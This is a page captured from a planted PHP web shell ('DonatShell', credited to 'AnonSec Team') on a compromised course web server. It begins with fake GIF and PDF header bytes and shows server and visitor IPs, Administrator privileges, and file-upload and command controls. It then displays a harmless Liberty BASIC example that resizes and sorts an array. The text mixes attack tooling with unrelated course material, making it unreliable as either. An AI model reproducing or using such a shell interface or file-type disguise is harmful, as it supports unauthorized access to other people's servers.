GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.02.21/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.02.21/array4.bas
' Here is an example of how to redim an array in Liberty Basic.

myNumberSize = 2
myNumberSizeIncrement = 3
dim myNumber(myNumberSize)

print "This program will allow you to enter 5 numbers and then display"
print "them in numerical order."
print

myNumberCount = 0
entry = 1
while entry <> 0
    print "Enter number ";myNumberCount+1;":";
    input " ";entry
    if entry <> 0 then
        myNumberCount = myNumberCount + 1
        ' Note that in Liberty Basic, the redim command erases the
        ' values that are in the array. Because of this we need to
        ' first copy the array to a temp array, then redim the array
        ' and then copy it back.
        if myNumberCount > myNumberSize then
            dim tempNumber(myNumberSize)
            myNumberSizeOld = myNumberSize
            for copy = 1 to myNumberSize
                tempNumber(copy) = myNumber(copy)
            next copy
            myNumberSize = myNumberSize + myNumberSizeIncrement
            redim myNumber(myNumberSize)
            for copy = 1 to myNumberSizeOld
                myNumber(copy) = tempNumber(copy)
            next copy
            redim tempNumber(1)
        end if
        myNumber(myNumberCount) = entry
    end if
wend

'2. Display the numbers in numerical order with appropriate text to identify output.
for i = 1 to myNumberCount-1
    for j = i+1 to myNumberCount
        if myNumber(i) > myNumber(j) then
            temp = myNumber(i)
            myNumber(i) = myNumber(j)
            myNumber(j) = temp
        end if
    next j
next i

print "The numbers in order are:";
for i = 1 to myNumberCount
    print " ";myNumber(i);
next i
print "."


Anon7 - 2022
AnonSec Team